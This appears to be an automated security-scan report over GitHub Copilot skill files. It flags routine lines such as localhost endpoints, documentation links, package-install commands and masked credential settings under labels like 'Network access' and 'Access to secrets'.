harness/github-copilot/skills/phoenix-tracing/references/sessions-python.md
harness/github-copilot/skills/phoenix-tracing/references/sessions-typescript.md
- Network accessline 23
register({ projectName: "your-app", url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Network accessline 24
[Credential-related source omitted] - Network accessline 25
url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Access to secretsline 26
[Credential-related source omitted] - Network accessline 95
# Get all traces for a session npx @arizeai/phoenix-cli traces \ --endpoint http://localhost:6006 \ - Network accessline 96
npx @arizeai/phoenix-cli traces --endpoint http://localhost:6006 - Network accessline 97
--endpoint http://localhost:6006 \
harness/github-copilot/skills/phoenix-tracing/references/setup-python.md
- Network accessline 19
**Connects to `http://localhost:6006`, auto-instruments all supported libraries.** - Network accessline 34
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 35
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" # Or Cloud URL - Network accessline 44
tracer_provider = register( project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 45
project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint auto_instrument=True, # Auto-instrument supported libs - Network accessline 46
endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 89
**Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/ - Network accessline 93
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 103
[Credential-related source omitted] - Network accessline 130
- [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 131
- [Python Client API Docs](https://arize.com/docs/phoenix)
harness/github-copilot/skills/phoenix-tracing/references/setup-typescript.md
- Network accessline 23
Connects to `http://localhost:6006` by default. - Network accessline 30
register({ projectName: "my-app", url: "http://localhost:6006", - Network accessline 31
[Credential-related source omitted] - Network accessline 32
url: "http://localhost:6006", - Access to secretsline 33
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Network accessline 42
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" - Network accessline 135
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 154
[Credential-related source omitted] - Network accessline 168
- **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/ - Network accessline 170
- **API docs:** https://arize-ai.github.io/phoenix/
harness/github-copilot/skills/phoenix-tracing/references/span-llm.md
- Network accessline 78
- **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md - Network accessline 79
- **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
harness/github-copilot/skills/phoenix-tracing/references/span-retriever.md
harness/github-copilot/skills/php-mcp-server-generator/references/templates-and-development.md
harness/github-copilot/skills/pinecone-rag/SKILL.md
harness/github-copilot/skills/plantuml-ascii/SKILL.md
- Broad permissionsline 1
Bash, Write, Read - Dangerous shell operationline 44
sudo apt-get install plantuml # Ubuntu/Debian - Dangerous shell operationline 45
sudo yum install plantuml # RHEL/CentOS - Network accessline 47
# Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Network accessline 48
wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Dangerous shell operationline 352
- [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`. - Network accessline 356
- [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)
harness/github-copilot/skills/playwright-automation-fill-in-form/SKILL.md
- Network accessline 19
- Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi - Network accessline 20
- Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL. - Network accessline 54
**Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 55
**URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 70
- [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.
harness/github-copilot/skills/power-apps-code-app-scaffold/SKILL.md
- Network accessline 179
- Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.
harness/github-copilot/skills/power-platform-architect/SKILL.md
- Network accessline 33
| AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans - Network accessline 34
| Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an - Network accessline 35
| Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con - Network accessline 61
6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js - Network accessline 63
8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction. - Network accessline 121
- `high-level` - `high-volume` - `https://mermaid.ai/live/edit` - Network accessline 122
- `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific` - Network accessline 123
- `https://mermaid.ai/live/edit` - Network accessline 159
### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 161
**Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 175
- [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors) - Network accessline 176
- [Mermaid Live Editor](https://mermaid.ai/live/edit)
harness/github-copilot/skills/pr-dashboard/scripts/lib/utils.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 219
return `<tr> <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td> - Network accessline 220
<td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
harness/github-copilot/skills/pr-screenshots/SKILL.md
harness/github-copilot/skills/premium-frontend-ui/SKILL.md
- Network accessline 5
metadata: author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" - Network accessline 6
author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" --- - Network accessline 7
author_url: "https://github.com/utkarsh232005" - Network accessline 124
- [Author profile](https://github.com/utkarsh232005)
harness/github-copilot/skills/publish-to-pages/SKILL.md
- Network accessline 24
command -v gh >/dev/null || echo "MISSING: gh CLI — install from https://cli.github.com" - Network accessline 51
| PDF | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html` | | PDF, forced external assets | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html --external-assets` | | Google Slides download | `curl -L - Network accessline 53
| Google Slides download | `curl -L "https://docs.google.com/presentation/d/PRESENTATION_ID/export/pptx" -o /tmp/slides.pptx` | - Network accessline 105
**Status:** published | blocked **Repository:** `https://github.com/USERNAME/REPO_NAME` - Network accessline 106
**Repository:** `https://github.com/USERNAME/REPO_NAME` - Network accessline 107
**Live URL:** `https://USERNAME.github.io/REPO_NAME/` - Network accessline 134
- [GitHub CLI](https://cli.github.com)
harness/github-copilot/skills/publish-to-pages/scripts/convert-pdf.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/publish-to-pages/scripts/convert-pptx.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 98
sp_pr = shape._element.find(qn('a:spPr')) if sp_pr is None: for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr', - Network accessline 99
if sp_pr is None: for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr', '{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']: - Network accessline 100
for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr', - Network accessline 101
'{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']:
harness/github-copilot/skills/publish-to-pages/scripts/publish.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 23
TMPDIR=$(mktemp -d) git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR" - Network accessline 24
git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR" - Network accessline 45
echo "REPO_URL=https://github.com/$USERNAME/$REPO_NAME" - Network accessline 46
echo "PAGES_URL=https://$USERNAME.github.io/$REPO_NAME/" - Dangerous shell operationline 51
rm -rf "$TMPDIR"
harness/github-copilot/skills/python-azure-iot-edge-modules/SKILL.md
- Network accessline 23
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 24
- https://learn.microsoft.com/es-es/azure/iot-edge/ - Network accessline 28
- https://www.python.org/ - Network accessline 29
- https://docs.python.org/3/ - Network accessline 30
- https://docs.python.org/3/reference/ - Network accessline 31
- https://docs.python.org/3/harness/github-copilot/ - Network accessline 134
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 135
- [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/) - Network accessline 136
- [Python](https://www.python.org/) - Network accessline 137
- [Python 3 documentation](https://docs.python.org/3/) - Network accessline 138
- [Python language reference](https://docs.python.org/3/reference/) - Network accessline 139
- [Python standard library](https://docs.python.org/3/harness/github-copilot/)
harness/github-copilot/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md
harness/github-copilot/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md
- Network accessline 7
- Python home: <https://www.python.org/> - Network accessline 8
- Python documentation portal: <https://docs.python.org/3/> - Network accessline 9
- Python tutorial: <https://docs.python.org/3/tutorial/> - Network accessline 10
- Python language reference: <https://docs.python.org/3/reference/> - Network accessline 11
- Python standard library reference: <https://docs.python.org/3/harness/github-copilot/> - Network accessline 12
- Python HOWTOs: <https://docs.python.org/3/howto/> - Network accessline 13
- Installing modules: <https://docs.python.org/3/installing/> - Network accessline 14
- Distributing modules: <https://docs.python.org/3/distributing/> - Network accessline 15
- PEP index: <https://peps.python.org/> - Network accessline 16
- PyPA packaging guide: <https://packaging.python.org/>
harness/github-copilot/skills/python-mcp-server-generator/SKILL.md
- Network accessline 51
For HTTP testing, connect clients to `http://localhost:PORT/mcp`. - Network accessline 96
| Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` | - Network accessline 98
| Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
harness/github-copilot/skills/python-pypi-package-builder/SKILL.md
- Network accessline 93
- PyPI name: all lowercase, hyphens — `my-python-library` - Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting - Network accessline 94
- Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting - Avoid shadowing popular packages (verify `pip install <name>` fails first) - Network accessline 95
- Check availability: https://pypi.org/search/ before starting - Network accessline 186
4. TEST PUBLISH (first release only) twine upload --repository testpypi dist/* └── Verify: pip install --index-url https://test.pypi.org/simple/ your-package - Network accessline 188
└── Verify: pip install --index-url https://test.pypi.org/simple/ your-package - Network accessline 400
git tag vX.Y.Z git push origin main --tags # 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/ - Network accessline 402
# 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/ - Network accessline 474
**Release path** - TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package` - Network accessline 475
- TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package` - Network accessline 481
- [ ] Package type, layout, backend, and versioning choices were made using the decision tables in this skill. - [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search - Network accessline 482
- [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search/). - Network accessline 488
- [ ] Tests, Ruff, mypy, and pre-commit configuration match the selected package complexity. - [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers ` - Network accessline 489
- [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-pack - Network accessline 490
- [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-package/ verification. - Network accessline 495
- [PyPI package search](https://pypi.org/search/) - Network accessline 496
- [TestPyPI simple index](https://test.pypi.org/simple/) - Network accessline 497
- [Example PyPI project verification URL](https://pypi.org/project/your-package/)
harness/github-copilot/skills/python-pypi-package-builder/references/architecture-patterns.md
- Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 200
timeout: int = 30 retries: int = 3 base_url: str = "https://api.example.com/v1" - Network accessline 202
base_url: str = "https://api.example.com/v1" - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted] - Network accessline 237
timeout: int = Field(30, ge=1) retries: int = Field(3, ge=0) base_url: str = "https://api.example.com/v1" - Network accessline 239
base_url: str = "https://api.example.com/v1" - Network accessline 278
def __init__(self, settings: Settings) -> None: self._settings = settings self._client = httpx.Client( - Network accessline 279
self._settings = settings self._client = httpx.Client( base_url=settings.base_url, - Network accessline 280
self._client = httpx.Client( - Access to secretsline 283
[Credential-related source omitted] - Network accessline 342
def __init__(self, settings: Settings) -> None: self._settings = settings self._client = httpx.AsyncClient( - Network accessline 343
self._settings = settings self._client = httpx.AsyncClient( base_url=settings.base_url, - Network accessline 344
self._client = httpx.AsyncClient( - Access to secretsline 347
[Credential-related source omitted] - Access to secretsline 418
[Credential-related source omitted] - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 423
[Credential-related source omitted] - Access to secretsline 451
[Credential-related source omitted] - Access to secretsline 455
[Credential-related source omitted] - Access to secretsline 494
[Credential-related source omitted] - Access to secretsline 502
[Credential-related source omitted] - Access to secretsline 503
[Credential-related source omitted] - Access to secretsline 504
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/github-copilot/skills/python-pypi-package-builder/references/ci-publishing.md
- Network accessline 17
Keep a `CHANGELOG.md` following [Keep a Changelog](https://keepachangelog.com/) conventions. - Network accessline 26
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 27
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 60
[Unreleased]: https://github.com/{owner}/{repo}/compare/v1.0.0...HEAD - Network accessline 61
[1.0.0]: https://github.com/{owner}/{repo}/compare/v0.1.0...v1.0.0 - Network accessline 62
[0.1.0]: https://github.com/{owner}/{repo}/releases/tag/v0.1.0 - Network accessline 237
1. Create an account at https://pypi.org - Network accessline 267
# OR test on TestPyPI first (recommended for first release) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package - Network accessline 268
twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package python -c "import your_package; print(your_package.__version__)" - Network accessline 269
pip install --index-url https://test.pypi.org/simple/ your-package
harness/github-copilot/skills/python-pypi-package-builder/references/community-docs.md
- Network accessline 25
[](https://pypi.org/project/your-package/) - Network accessline 26
[](https://pypi.org/project/your-package/) - Network accessline 27
[](https://github.com/{owner}/{repo}/actions/workflows/ci.yml) - Network accessline 28
[](https://codecov.io/gh/you/your-package) - Network accessline 29
[](LICENSE) - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Network accessline 115
git clone https://github.com/{owner}/{repo} - Network accessline 409
# 5. Monitor: https://github.com/<you>/<pkg>/actions - Network accessline 410
# 6. Verify: https://pypi.org/project/your-package/
harness/github-copilot/skills/python-pypi-package-builder/references/library-patterns.md
- Access to secretsline 258
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 313
[Credential-related source omitted] - Access to secretsline 318
[Credential-related source omitted] - Access to secretsline 322
[Credential-related source omitted] - Access to secretsline 328
[Credential-related source omitted] - Access to secretsline 332
[Credential-related source omitted] - Access to secretsline 333
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Access to secretsline 390
[Credential-related source omitted] - Access to secretsline 397
[Credential-related source omitted] - Access to secretsline 405
[Credential-related source omitted] - Network accessline 434
timeout: int = 30 retries: int = 3 base_url: str = "https://api.example.com" - Network accessline 435
retries: int = 3 base_url: str = "https://api.example.com" extra_headers: dict[str, str] = field(default_factory=dict) - Network accessline 436
base_url: str = "https://api.example.com" - Access to secretsline 601
[Credential-related source omitted] - Access to secretsline 605
[Credential-related source omitted]
harness/github-copilot/skills/python-pypi-package-builder/references/pyproject-toml.md
- Network accessline 79
[project.urls] Homepage = "https://github.com/yourusername/your-package" - Network accessline 80
Homepage = "https://github.com/yourusername/your-package" - Network accessline 81
Documentation = "https://github.com/yourusername/your-package#readme" - Network accessline 82
Repository = "https://github.com/yourusername/your-package" - Network accessline 83
"Bug Tracker" = "https://github.com/yourusername/your-package/issues" - Network accessline 84
Changelog = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md" - Network accessline 203
[project.urls] Homepage = "https://github.com/yourusername/your-package" - Network accessline 204
Homepage = "https://github.com/yourusername/your-package" - Network accessline 205
Changelog = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md" - Network accessline 247
[project.urls] Homepage = "https://github.com/yourusername/your-package" - Network accessline 248
Homepage = "https://github.com/yourusername/your-package"
harness/github-copilot/skills/python-pypi-package-builder/references/release-governance.md
- Network accessline 130
# 5. Confirm: GitHub Actions publish.yml triggers automatically # Monitor: Actions tab → publish workflow # Verify: https://pypi.org/project/your-package/ - Network accessline 132
# Verify: https://pypi.org/project/your-package/ - Network accessline 171
1. Go to https://pypi.org/manage/project/your-package/settings/publishing/ - Network accessline 338
uses: pypa/gh-action-pypi-publish@release/v1 with: repository-url: https://test.pypi.org/legacy/ - Network accessline 339
with: repository-url: https://test.pypi.org/legacy/ continue-on-error: true # Non-fatal; remove if you always want this to pass - Network accessline 340
repository-url: https://test.pypi.org/legacy/
harness/github-copilot/skills/python-pypi-package-builder/references/testing-quality.md
- Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Network accessline 212
# .pre-commit-config.yaml repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 213
repos: - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.4.4 - Network accessline 214
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 221
- repo: https://github.com/psf/black - Network accessline 226
- repo: https://github.com/pycqa/isort - Network accessline 231
- repo: https://github.com/pre-commit/mirrors-mypy - Network accessline 237
- repo: https://github.com/pre-commit/pre-commit-hooks
harness/github-copilot/skills/python-pypi-package-builder/references/tooling-ruff.md
- Network accessline 149
# .pre-commit-config.yaml repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 150
repos: - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.4.4 # Pin to a specific release; update periodically with `pre-commit autoupdate` - Network accessline 151
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 158
- repo: https://github.com/pre-commit/mirrors-mypy - Network accessline 167
- repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 182
# DELETE or never add: - repo: https://github.com/psf/black # replaced by ruff-format - Network accessline 183
- repo: https://github.com/psf/black # replaced by ruff-format - Network accessline 184
- repo: https://github.com/PyCQA/isort # replaced by ruff lint I rules - Network accessline 185
- repo: https://github.com/PyCQA/flake8 # replaced by ruff check - Network accessline 186
- repo: https://github.com/PyCQA/autoflake # replaced by ruff check F401
harness/github-copilot/skills/python-pypi-package-builder/references/versioning-strategy.md
- Network accessline 20
All Python package versions must comply with [PEP 440](https://peps.python.org/pep-0440/). - Network accessline 363
# Step 4: Test on TestPyPI first (first release or major change) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3 - Network accessline 365
pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3
harness/github-copilot/skills/python-pypi-package-builder/scripts/scaffold.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 113
[project.urls] Homepage = "https://github.com/yourusername/{name}" - Network accessline 114
Homepage = "https://github.com/yourusername/{name}" - Network accessline 115
Documentation = "https://github.com/yourusername/{name}#readme" - Network accessline 116
Repository = "https://github.com/yourusername/{name}" - Network accessline 117
"Bug Tracker" = "https://github.com/yourusername/{name}/issues" - Network accessline 118
Changelog = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md" - Network accessline 217
[project.urls] Homepage = "https://github.com/yourusername/{name}" - Network accessline 218
Homepage = "https://github.com/yourusername/{name}" - Network accessline 219
Changelog = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md" - Access to secretsline 289
[Credential-related source omitted] - Access to secretsline 294
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 424
[Credential-related source omitted] - Access to secretsline 439
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Access to secretsline 445
[Credential-related source omitted] - Access to secretsline 450
[Credential-related source omitted] - Network accessline 597
return '''\ repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 598
repos: - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.4.4 - Network accessline 599
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 606
- repo: https://github.com/psf/black - Network accessline 611
- repo: https://github.com/pycqa/isort - Network accessline 616
- repo: https://github.com/pre-commit/mirrors-mypy - Network accessline 621
- repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 641
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 642
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 651
[Unreleased]: https://github.com/yourusername/{name}/commits/master - Network accessline 661
[](https://pypi.org/project/{name}/) - Network accessline 662
[](https://pypi.org/project/{name}/) - Network accessline 663
[](LICENSE) - Access to secretsline 676
[Credential-related source omitted] - Access to secretsline 685
[Credential-related source omitted] - Access to secretsline 842
[Credential-related source omitted]
harness/github-copilot/skills/qdrant-clients-sdk/SKILL.md
- Broad permissionsline 1
Bash - Network accessline 22
| Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 23
| --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com - Network accessline 24
| Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 25
| JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` | - Network accessline 26
| Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` | - Network accessline 27
| Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` | - Network accessline 28
| .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` | - Network accessline 29
| Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` | - Network accessline 33
| Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https - Network accessline 34
| --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma - Network accessline 35
| REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast - Network accessline 36
| gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` | - Network accessline 37
| Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` | - Network accessline 41
1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet - Network accessline 42
2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query - Network accessline 43
3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`. - Network accessline 58
| Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU - Network accessline 60
| Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. | - Network accessline 89
- [Qdrant Python client](https://github.com/qdrant/qdrant-client) - Network accessline 90
- [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js) - Network accessline 91
- [Qdrant Rust client](https://github.com/qdrant/rust-client) - Network accessline 92
- [Qdrant Go client](https://github.com/qdrant/go-client) - Network accessline 93
- [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet) - Network accessline 94
- [Qdrant Java client](https://github.com/qdrant/java-client) - Network accessline 95
- [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client) - Network accessline 96
- [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference) - Network accessline 97
- [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json) - Network accessline 98
- [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto) - Network accessline 99
- [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points) - Network accessline 100
- [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)
harness/github-copilot/skills/qdrant-deployment-options/SKILL.md
- Network accessline 97
- [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 98
- [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 99
- [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/) - Network accessline 100
- [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/) - Network accessline 101
- [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/) - Network accessline 102
- [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)
harness/github-copilot/skills/qdrant-model-migration/SKILL.md
- Network accessline 124
- [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 125
- [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 126
- [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors) - Network accessline 127
- [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors) - Network accessline 128
- [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode) - Network accessline 129
- [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 130
- [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/) - Network accessline 131
- [Inference docs](https://qdrant.tech/documentation/inference/)
harness/github-copilot/skills/qdrant-monitoring/SKILL.md
- Network accessline 29
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 29
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 94
